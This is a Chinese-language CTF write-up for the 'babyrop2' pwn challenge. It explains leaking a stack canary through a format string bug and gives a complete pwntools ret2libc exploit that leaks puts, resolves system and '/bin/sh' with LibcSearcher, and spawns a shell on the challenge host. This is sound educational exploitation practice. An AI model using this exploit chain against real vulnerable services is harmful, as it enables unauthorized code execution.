下载 checksec exeinfo
64位 开启了canary和NX保护
IDA64 查看函数
可以看到有格式化字符串漏洞和栈溢出漏洞
利用格式化字符串漏洞泄露canary
因为这里的printf限制了输入字符 所以需要一个个试偏移:
输入字符的偏移为6
接下来动态调试到printf的位置,查看栈情况:
可以看到canary距离输入的字符串8字节 离rbp也是8个字节
canary的偏移为7;
得到了canary之后,就是ret2libc的流程了
exp:
from pwn import *
from LibcSearcher import *
p = remote("node4.anna.nssctf.cn", 28006)
elf = ELF('./babyrop2')
#gdb.attach(p)
#pause()
p.send(b'aa%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
print(hex(canary))
pop_rdi = 0x400993
vuln_addr = 0x0400887
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b'a' * (0x20 - 8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)+ p64(vuln_addr)
p.sendlineafter("story!\n", payload)
puts_address = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_address))
libc = LibcSearcher('puts', puts_address)
offset = puts_address - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')
payload2 = b'a' * (0x20 - 8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh)+ p64(system)
p.sendline(payload2)
p.interactive()
运行 得到flag